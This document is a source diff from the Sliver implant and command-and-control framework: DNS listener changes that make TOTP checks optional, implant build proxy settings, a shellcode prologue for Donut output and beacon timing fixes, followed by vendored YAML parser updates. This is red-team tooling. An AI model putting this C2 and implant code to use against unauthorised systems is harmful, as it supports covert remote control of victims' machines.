//go:build server
|
||||
|
||||
package assets
|
||||
|
||||
import "embed"
|
||||
|
||||
var (
|
||||
//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/arm64/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
+43
-51
@@ -37,33 +37,29 @@ package c2
|
||||
import (
|
||||
"bytes"
|
||||
secureRand "crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"hash/crc32"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/dnspb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/miekg/dns"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -82,15 +78,15 @@ var (
|
||||
)
|
||||
|
||||
// StartDNSListener - Start a DNS listener
|
||||
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *SliverDNSServer {
|
||||
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) *SliverDNSServer {
|
||||
// StartPivotListener()
|
||||
server := &SliverDNSServer{
|
||||
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
|
||||
sessions: &sync.Map{}, // DNS Session ID -> DNSSession
|
||||
messages: &sync.Map{}, // In progress message streams
|
||||
totpToSessionID: &sync.Map{}, // Atomic TOTP -> DNS Session ID
|
||||
TTL: 0,
|
||||
MaxTXTLength: defaultMaxTXTLength,
|
||||
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
|
||||
sessions: &sync.Map{}, // DNS Session ID -> DNSSession
|
||||
messages: &sync.Map{}, // In progress message streams
|
||||
TTL: 0,
|
||||
MaxTXTLength: defaultMaxTXTLength,
|
||||
EnforceOTP: enforceOTP,
|
||||
}
|
||||
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
|
||||
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
|
||||
@@ -310,12 +306,12 @@ func (p *PendingEnvelope) Insert(dnsMsg *dnspb.DNSMessage) bool {
|
||||
|
||||
// SliverDNSServer - DNS server implementation
|
||||
type SliverDNSServer struct {
|
||||
server *dns.Server
|
||||
sessions *sync.Map
|
||||
messages *sync.Map
|
||||
totpToSessionID *sync.Map
|
||||
TTL uint32
|
||||
MaxTXTLength int
|
||||
server *dns.Server
|
||||
sessions *sync.Map
|
||||
messages *sync.Map
|
||||
TTL uint32
|
||||
MaxTXTLength int
|
||||
EnforceOTP bool
|
||||
}
|
||||
|
||||
// Shutdown - Shutdown the DNS server
|
||||
@@ -465,33 +461,29 @@ func (s *SliverDNSServer) refusedErrorResp(req *dns.Msg) *dns.Msg {
|
||||
func (s *SliverDNSServer) handleTOTP(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
|
||||
dnsLog.Debugf("[dns] totp request: %v", msg)
|
||||
totpCode := fmt.Sprintf("%08d", msg.ID)
|
||||
valid, err := cryptography.ValidateTOTP(totpCode)
|
||||
if err != nil || !valid {
|
||||
dnsLog.Warnf("totp request invalid (%v)", err)
|
||||
return s.nameErrorResp(req)
|
||||
if s.EnforceOTP {
|
||||
valid, err := cryptography.ValidateTOTP(totpCode)
|
||||
if err != nil || !valid {
|
||||
dnsLog.Warnf("totp request invalid (%v)", err)
|
||||
return s.nameErrorResp(req)
|
||||
}
|
||||
dnsLog.Debugf("[dns] totp request valid")
|
||||
} else {
|
||||
dnsLog.Warn("[dns] totp validation is disabled")
|
||||
}
|
||||
dnsLog.Debugf("[dns] totp request valid")
|
||||
|
||||
// Queries must be deterministic, so create or load the dns session id
|
||||
// we'll likely get multiple queries for the same domain
|
||||
actualID, loaded := s.totpToSessionID.LoadOrStore(totpCode, dnsSessionID())
|
||||
dnsSessionID := actualID.(uint32)
|
||||
dnsSessionID := dnsSessionID()
|
||||
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
|
||||
if !loaded {
|
||||
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
|
||||
ID: dnsSessionID & sessionIDBitMask,
|
||||
outgoingMsgIDs: []uint32{},
|
||||
outgoingBuffers: map[uint32][]byte{},
|
||||
outgoingMutex: &sync.RWMutex{},
|
||||
incomingEnvelopes: map[uint32]*PendingEnvelope{},
|
||||
incomingMutex: &sync.Mutex{},
|
||||
msgCount: uint32(0),
|
||||
})
|
||||
go func() {
|
||||
time.Sleep(90 * time.Second) // Best effort to remove totp code after expiration
|
||||
s.totpToSessionID.Delete(totpCode)
|
||||
}()
|
||||
}
|
||||
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
|
||||
ID: dnsSessionID & sessionIDBitMask,
|
||||
outgoingMsgIDs: []uint32{},
|
||||
outgoingBuffers: map[uint32][]byte{},
|
||||
outgoingMutex: &sync.RWMutex{},
|
||||
incomingEnvelopes: map[uint32]*PendingEnvelope{},
|
||||
incomingMutex: &sync.Mutex{},
|
||||
msgCount: uint32(0),
|
||||
})
|
||||
|
||||
resp := new(dns.Msg)
|
||||
resp.SetReply(req)
|
||||
resp.Authoritative = true
|
||||
|
||||
@@ -140,7 +140,7 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
|
||||
}
|
||||
|
||||
func TestIsC2Domain(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
|
||||
if !isC2 {
|
||||
t.Fatal("IsC2Domain expected true, got false")
|
||||
@@ -163,7 +163,7 @@ func TestIsC2Domain(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestDetermineLikelyEncoders(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
sample := randomDataRandomSize(2048)
|
||||
b58Sample := string(encoders.Base58{}.Encode(sample))
|
||||
likelyEncoders := listener.determineLikelyEncoders(b58Sample)
|
||||
|
||||
+3
-3
@@ -146,8 +146,8 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
|
||||
}
|
||||
|
||||
// StartDNSListenerJob - Start a DNS listener as a job
|
||||
func StartDNSListenerJob(bindIface string, lport uint16, domains []string, canaries bool) (*core.Job, error) {
|
||||
server := StartDNSListener(bindIface, lport, domains, canaries)
|
||||
func StartDNSListenerJob(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) (*core.Job, error) {
|
||||
server := StartDNSListener(bindIface, lport, domains, canaries, enforceOTP)
|
||||
description := fmt.Sprintf("%s (canaries %v)", strings.Join(domains, " "), canaries)
|
||||
job := &core.Job{
|
||||
ID: core.NextJobID(),
|
||||
@@ -362,7 +362,7 @@ func StartPersistentJobs(cfg *configs.ServerConfig) error {
|
||||
}
|
||||
|
||||
for _, j := range cfg.Jobs.DNS {
|
||||
job, err := StartDNSListenerJob(j.Host, j.Port, j.Domains, j.Canaries)
|
||||
job, err := StartDNSListenerJob(j.Host, j.Port, j.Domains, j.Canaries, j.EnforceOTP)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
|
||||
"golang.org/x/crypto/acme/autocert"
|
||||
)
|
||||
|
||||
|
||||
@@ -1,10 +1,5 @@
|
||||
package certs
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -23,6 +18,11 @@ import (
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
)
|
||||
|
||||
const (
|
||||
// HTTPSCA - Directory containing operator certificates
|
||||
HTTPSCA = "https"
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package certs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
|
||||
@@ -34,7 +34,6 @@ import (
|
||||
"github.com/bishopfox/sliver/server/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/daemon"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
|
||||
@@ -35,7 +35,7 @@ import (
|
||||
|
||||
const (
|
||||
httpC2ConfigFileName = "http-c2.json"
|
||||
chromeBaseVer = 92
|
||||
chromeBaseVer = 97
|
||||
)
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
|
||||
@@ -93,11 +93,12 @@ type WGJobConfig struct {
|
||||
|
||||
// DNSJobConfig - Persistent DNS job config
|
||||
type DNSJobConfig struct {
|
||||
Domains []string `json:"domains"`
|
||||
Canaries bool `json:"canaries"`
|
||||
Host string `json:"host"`
|
||||
Port uint16 `json:"port"`
|
||||
JobID string `json:"job_id"`
|
||||
Domains []string `json:"domains"`
|
||||
Canaries bool `json:"canaries"`
|
||||
Host string `json:"host"`
|
||||
Port uint16 `json:"port"`
|
||||
JobID string `json:"job_id"`
|
||||
EnforceOTP bool `json:"enforce_otp"`
|
||||
}
|
||||
|
||||
// HTTPJobConfig - Persistent HTTP job config
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/mtls"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
@@ -91,11 +92,17 @@ func (s *Session) IsDead() bool {
|
||||
return false
|
||||
}
|
||||
if s.Connection.Transport == consts.MtlsStr {
|
||||
if time.Since(s.Connection.LastMessage) < mtls.PingInterval+padding {
|
||||
if timePassed < mtls.PingInterval+padding {
|
||||
sessionsLog.Debugf("Last message within ping interval with padding")
|
||||
return false
|
||||
}
|
||||
}
|
||||
if s.Connection.Transport == consts.WGStr {
|
||||
if timePassed < wireguard.PingInterval+padding {
|
||||
sessionsLog.Debugf("Last message with ping interval with padding")
|
||||
return false
|
||||
}
|
||||
}
|
||||
if s.Connection.Transport == "pivot" {
|
||||
if time.Since(s.Connection.LastMessage) < time.Duration(time.Minute)+padding {
|
||||
sessionsLog.Debugf("Last message within pivot/server ping interval with padding")
|
||||
|
||||
@@ -322,7 +322,7 @@ func UpdateBeaconCheckinByID(beaconID string, next int64) error {
|
||||
ID: uuid.FromStringOrNil(beaconID),
|
||||
}).Updates(models.Beacon{
|
||||
LastCheckin: time.Now(),
|
||||
NextCheckin: next,
|
||||
NextCheckin: time.Now().Unix() + next,
|
||||
}).Error
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -150,6 +150,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
|
||||
cfg.Debug = pbConfig.Debug
|
||||
cfg.Evasion = pbConfig.Evasion
|
||||
cfg.ObfuscateSymbols = pbConfig.ObfuscateSymbols
|
||||
cfg.ConnectionStrategy = pbConfig.ConnectionStrategy
|
||||
|
||||
cfg.WGImplantPrivKey = pbConfig.WGImplantPrivKey
|
||||
cfg.WGServerPubKey = pbConfig.WGServerPubKey
|
||||
@@ -267,6 +268,7 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
HTTPSPROXY: getGoHttpsProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goPrivate(config),
|
||||
@@ -340,6 +342,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
HTTPSPROXY: getGoHttpsProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goPrivate(config),
|
||||
@@ -349,7 +352,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
|
||||
return "", err
|
||||
}
|
||||
|
||||
dest := path.Join(goConfig.ProjectDir, "bin", path.Base(name))
|
||||
dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
|
||||
if goConfig.GOOS == WINDOWS {
|
||||
dest += ".dll"
|
||||
}
|
||||
@@ -365,6 +368,10 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
|
||||
if !config.Debug && goConfig.GOOS == WINDOWS {
|
||||
ldflags[0] += " -H=windowsgui"
|
||||
}
|
||||
// Statically link Linux .so files to avoid glibc hell
|
||||
if goConfig.GOOS == LINUX && goConfig.CC != "" && goConfig.CGO == "1" {
|
||||
ldflags[0] += " -linkmode external -extldflags \"-static\""
|
||||
}
|
||||
// Keep those for potential later use
|
||||
gcflags := ""
|
||||
asmflags := ""
|
||||
@@ -374,7 +381,7 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
config.FileName = path.Base(dest)
|
||||
config.FileName = filepath.Base(dest)
|
||||
|
||||
err = ImplantBuildSave(name, config, dest)
|
||||
if err != nil {
|
||||
@@ -401,6 +408,7 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
HTTPSPROXY: getGoHttpsProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goPrivate(config),
|
||||
@@ -669,14 +677,18 @@ func getCrossCompilersFromEnv(targetGoos string, targetGoarch string) (string, s
|
||||
|
||||
// Get Defaults
|
||||
if targetGoarch == "amd64" {
|
||||
cc = os.Getenv(SliverCC64EnvVar)
|
||||
if os.Getenv(fmt.Sprintf(SliverPlatformCC64EnvVar, TARGET_GOOS)) != "" {
|
||||
cc = os.Getenv(fmt.Sprintf(SliverPlatformCC64EnvVar, TARGET_GOOS))
|
||||
}
|
||||
cxx = os.Getenv(SliverCXX64EnvVar)
|
||||
if cc == "" {
|
||||
cc = os.Getenv(SliverCC64EnvVar)
|
||||
}
|
||||
if os.Getenv(fmt.Sprintf(SliverPlatformCXX64EnvVar, TARGET_GOOS)) != "" {
|
||||
cc = os.Getenv(fmt.Sprintf(SliverPlatformCXX64EnvVar, TARGET_GOOS))
|
||||
}
|
||||
if cxx == "" {
|
||||
cxx = os.Getenv(SliverCXX64EnvVar)
|
||||
}
|
||||
}
|
||||
if targetGoarch == "386" {
|
||||
cc = os.Getenv(SliverCC32EnvVar)
|
||||
@@ -713,11 +725,9 @@ func findCrossCompilers(targetGoos string, targetGoarch string) (string, string)
|
||||
// Check to see if CC and CXX exist
|
||||
if _, err := os.Stat(cc); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CC path '%s' does not exist", cc)
|
||||
cc = "" // Path does not exist
|
||||
}
|
||||
if _, err := os.Stat(cxx); os.IsNotExist(err) {
|
||||
buildLog.Warnf("CXX path '%s' does not exist", cxx)
|
||||
cxx = "" // Path does not exist
|
||||
}
|
||||
buildLog.Debugf(" CC = '%s'", cc)
|
||||
buildLog.Debugf("CXX = '%s'", cxx)
|
||||
@@ -872,6 +882,16 @@ func getGoHttpProxy() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func getGoHttpsProxy() string {
|
||||
value, present := os.LookupEnv("HTTPS_PROXY")
|
||||
if present {
|
||||
buildLog.Debugf("Using HTTPS_PROXY from env: %s", value)
|
||||
return value
|
||||
}
|
||||
buildLog.Debugf("No HTTPS_PROXY found")
|
||||
return ""
|
||||
}
|
||||
|
||||
const (
|
||||
// GoPrivate - The default Go private arg to garble when obfuscation is enabled.
|
||||
// Wireguard dependencies prevent the use of wildcard github.com/* and golang.org/*.
|
||||
|
||||
@@ -78,6 +78,12 @@ func getDonut(data []byte, config *donut.DonutConfig) (shellcode []byte, err err
|
||||
return
|
||||
}
|
||||
shellcode = res.Bytes()
|
||||
stackCheckPrologue := []byte{
|
||||
// Check stack is 8 byte but not 16 byte aligned or else errors in LoadLibrary
|
||||
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
|
||||
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
|
||||
}
|
||||
shellcode = append(stackCheckPrologue, shellcode...)
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
+7
-1
@@ -56,6 +56,7 @@ type GoConfig struct {
|
||||
CC string
|
||||
CXX string
|
||||
HTTPPROXY string
|
||||
HTTPSPROXY string
|
||||
|
||||
Obfuscation bool
|
||||
GOGARBLE string
|
||||
@@ -117,6 +118,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("GARBLE_MAX_LITERAL_SIZE=%s", garbleMaxLiteralSize()),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
|
||||
}
|
||||
@@ -124,7 +126,10 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
var stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
gogoLog.Debugf("--- env ---\n")
|
||||
for _, envVar := range cmd.Env {
|
||||
gogoLog.Debugf("%s\n", envVar)
|
||||
}
|
||||
gogoLog.Infof("garble cmd: '%v'", cmd)
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
@@ -155,6 +160,7 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("HTTPS_PROXY=%s", config.HTTPSPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
|
||||
@@ -83,7 +83,7 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
|
||||
|
||||
beacon.Interval = beaconReg.Interval
|
||||
beacon.Jitter = beaconReg.Jitter
|
||||
beacon.NextCheckin = beaconReg.NextCheckin
|
||||
beacon.NextCheckin = time.Now().Unix() + beaconReg.NextCheckin
|
||||
|
||||
err = db.Session().Save(beacon).Error
|
||||
if err != nil {
|
||||
|
||||
@@ -159,17 +159,18 @@ func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListen
|
||||
listenPort = uint16(req.Port)
|
||||
}
|
||||
|
||||
job, err := c2.StartDNSListenerJob(req.Host, listenPort, req.Domains, req.Canaries)
|
||||
job, err := c2.StartDNSListenerJob(req.Host, listenPort, req.Domains, req.Canaries, req.EnforceOTP)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if req.Persistent {
|
||||
cfg := &configs.DNSJobConfig{
|
||||
Domains: req.Domains,
|
||||
Host: req.Host,
|
||||
Port: listenPort,
|
||||
Canaries: req.Canaries,
|
||||
Domains: req.Domains,
|
||||
Host: req.Host,
|
||||
Port: listenPort,
|
||||
Canaries: req.Canaries,
|
||||
EnforceOTP: req.EnforceOTP,
|
||||
}
|
||||
configs.GetServerConfig().AddDNSJob(cfg)
|
||||
job.PersistentID = cfg.JobID
|
||||
|
||||
-16
@@ -1,16 +0,0 @@
|
||||
language: go
|
||||
|
||||
go:
|
||||
- "1.4.x"
|
||||
- "1.5.x"
|
||||
- "1.6.x"
|
||||
- "1.7.x"
|
||||
- "1.8.x"
|
||||
- "1.9.x"
|
||||
- "1.10.x"
|
||||
- "1.11.x"
|
||||
- "1.12.x"
|
||||
- "1.13.x"
|
||||
- "tip"
|
||||
|
||||
go_import_path: gopkg.in/yaml.v3
|
||||
+1
@@ -108,6 +108,7 @@ func yaml_emitter_initialize(emitter *yaml_emitter_t) {
|
||||
raw_buffer: make([]byte, 0, output_raw_buffer_size),
|
||||
states: make([]yaml_emitter_state_t, 0, initial_stack_size),
|
||||
events: make([]yaml_event_t, 0, initial_queue_size),
|
||||
best_width: -1,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+106
-37
@@ -35,6 +35,7 @@ type parser struct {
|
||||
doc *Node
|
||||
anchors map[string]*Node
|
||||
doneInit bool
|
||||
textless bool
|
||||
}
|
||||
|
||||
func newParser(b []byte) *parser {
|
||||
@@ -99,7 +100,10 @@ func (p *parser) peek() yaml_event_type_t {
|
||||
if p.event.typ != yaml_NO_EVENT {
|
||||
return p.event.typ
|
||||
}
|
||||
if !yaml_parser_parse(&p.parser, &p.event) {
|
||||
// It's curious choice from the underlying API to generally return a
|
||||
// positive result on success, but on this case return true in an error
|
||||
// scenario. This was the source of bugs in the past (issue #666).
|
||||
if !yaml_parser_parse(&p.parser, &p.event) || p.parser.error != yaml_NO_ERROR {
|
||||
p.fail()
|
||||
}
|
||||
return p.event.typ
|
||||
@@ -108,14 +112,18 @@ func (p *parser) peek() yaml_event_type_t {
|
||||
func (p *parser) fail() {
|
||||
var where string
|
||||
var line int
|
||||
if p.parser.problem_mark.line != 0 {
|
||||
if p.parser.context_mark.line != 0 {
|
||||
line = p.parser.context_mark.line
|
||||
// Scanner errors don't iterate line before returning error
|
||||
if p.parser.error == yaml_SCANNER_ERROR {
|
||||
line++
|
||||
}
|
||||
} else if p.parser.problem_mark.line != 0 {
|
||||
line = p.parser.problem_mark.line
|
||||
// Scanner errors don't iterate line before returning error
|
||||
if p.parser.error == yaml_SCANNER_ERROR {
|
||||
line++
|
||||
}
|
||||
} else if p.parser.context_mark.line != 0 {
|
||||
line = p.parser.context_mark.line
|
||||
}
|
||||
if line != 0 {
|
||||
where = "line " + strconv.Itoa(line) + ": "
|
||||
@@ -169,17 +177,20 @@ func (p *parser) node(kind Kind, defaultTag, tag, value string) *Node {
|
||||
} else if kind == ScalarNode {
|
||||
tag, _ = resolve("", value)
|
||||
}
|
||||
return &Node{
|
||||
Kind: kind,
|
||||
Tag: tag,
|
||||
Value: value,
|
||||
Style: style,
|
||||
Line: p.event.start_mark.line + 1,
|
||||
Column: p.event.start_mark.column + 1,
|
||||
HeadComment: string(p.event.head_comment),
|
||||
LineComment: string(p.event.line_comment),
|
||||
FootComment: string(p.event.foot_comment),
|
||||
n := &Node{
|
||||
Kind: kind,
|
||||
Tag: tag,
|
||||
Value: value,
|
||||
Style: style,
|
||||
}
|
||||
if !p.textless {
|
||||
n.Line = p.event.start_mark.line + 1
|
||||
n.Column = p.event.start_mark.column + 1
|
||||
n.HeadComment = string(p.event.head_comment)
|
||||
n.LineComment = string(p.event.line_comment)
|
||||
n.FootComment = string(p.event.foot_comment)
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func (p *parser) parseChild(parent *Node) *Node {
|
||||
@@ -312,6 +323,8 @@ type decoder struct {
|
||||
decodeCount int
|
||||
aliasCount int
|
||||
aliasDepth int
|
||||
|
||||
mergedFields map[interface{}]bool
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -497,8 +510,13 @@ func (d *decoder) unmarshal(n *Node, out reflect.Value) (good bool) {
|
||||
good = d.mapping(n, out)
|
||||
case SequenceNode:
|
||||
good = d.sequence(n, out)
|
||||
case 0:
|
||||
if n.IsZero() {
|
||||
return d.null(out)
|
||||
}
|
||||
fallthrough
|
||||
default:
|
||||
panic("internal error: unknown node kind: " + strconv.Itoa(int(n.Kind)))
|
||||
failf("cannot decode node with unknown kind %d", n.Kind)
|
||||
}
|
||||
return good
|
||||
}
|
||||
@@ -533,6 +551,17 @@ func resetMap(out reflect.Value) {
|
||||
}
|
||||
}
|
||||
|
||||
func (d *decoder) null(out reflect.Value) bool {
|
||||
if out.CanAddr() {
|
||||
switch out.Kind() {
|
||||
case reflect.Interface, reflect.Ptr, reflect.Map, reflect.Slice:
|
||||
out.Set(reflect.Zero(out.Type()))
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (d *decoder) scalar(n *Node, out reflect.Value) bool {
|
||||
var tag string
|
||||
var resolved interface{}
|
||||
@@ -550,14 +579,7 @@ func (d *decoder) scalar(n *Node, out reflect.Value) bool {
|
||||
}
|
||||
}
|
||||
if resolved == nil {
|
||||
if out.CanAddr() {
|
||||
switch out.Kind() {
|
||||
case reflect.Interface, reflect.Ptr, reflect.Map, reflect.Slice:
|
||||
out.Set(reflect.Zero(out.Type()))
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
return d.null(out)
|
||||
}
|
||||
if resolvedv := reflect.ValueOf(resolved); out.Type() == resolvedv.Type() {
|
||||
// We've resolved to exactly the type we want, so use that.
|
||||
@@ -791,16 +813,30 @@ func (d *decoder) mapping(n *Node, out reflect.Value) (good bool) {
|
||||
}
|
||||
}
|
||||
|
||||
mergedFields := d.mergedFields
|
||||
d.mergedFields = nil
|
||||
|
||||
var mergeNode *Node
|
||||
|
||||
mapIsNew := false
|
||||
if out.IsNil() {
|
||||
out.Set(reflect.MakeMap(outt))
|
||||
mapIsNew = true
|
||||
}
|
||||
for i := 0; i < l; i += 2 {
|
||||
if isMerge(n.Content[i]) {
|
||||
d.merge(n.Content[i+1], out)
|
||||
mergeNode = n.Content[i+1]
|
||||
continue
|
||||
}
|
||||
k := reflect.New(kt).Elem()
|
||||
if d.unmarshal(n.Content[i], k) {
|
||||
if mergedFields != nil {
|
||||
ki := k.Interface()
|
||||
if mergedFields[ki] {
|
||||
continue
|
||||
}
|
||||
mergedFields[ki] = true
|
||||
}
|
||||
kkind := k.Kind()
|
||||
if kkind == reflect.Interface {
|
||||
kkind = k.Elem().Kind()
|
||||
@@ -809,11 +845,17 @@ func (d *decoder) mapping(n *Node, out reflect.Value) (good bool) {
|
||||
failf("invalid map key: %#v", k.Interface())
|
||||
}
|
||||
e := reflect.New(et).Elem()
|
||||
if d.unmarshal(n.Content[i+1], e) {
|
||||
if d.unmarshal(n.Content[i+1], e) || n.Content[i+1].ShortTag() == nullTag && (mapIsNew || !out.MapIndex(k).IsValid()) {
|
||||
out.SetMapIndex(k, e)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
d.mergedFields = mergedFields
|
||||
if mergeNode != nil {
|
||||
d.merge(n, mergeNode, out)
|
||||
}
|
||||
|
||||
d.stringMapType = stringMapType
|
||||
d.generalMapType = generalMapType
|
||||
return true
|
||||
@@ -825,7 +867,8 @@ func isStringMap(n *Node) bool {
|
||||
}
|
||||
l := len(n.Content)
|
||||
for i := 0; i < l; i += 2 {
|
||||
if n.Content[i].ShortTag() != strTag {
|
||||
shortTag := n.Content[i].ShortTag()
|
||||
if shortTag != strTag && shortTag != mergeTag {
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -842,7 +885,6 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
|
||||
var elemType reflect.Type
|
||||
if sinfo.InlineMap != -1 {
|
||||
inlineMap = out.Field(sinfo.InlineMap)
|
||||
inlineMap.Set(reflect.New(inlineMap.Type()).Elem())
|
||||
elemType = inlineMap.Type().Elem()
|
||||
}
|
||||
|
||||
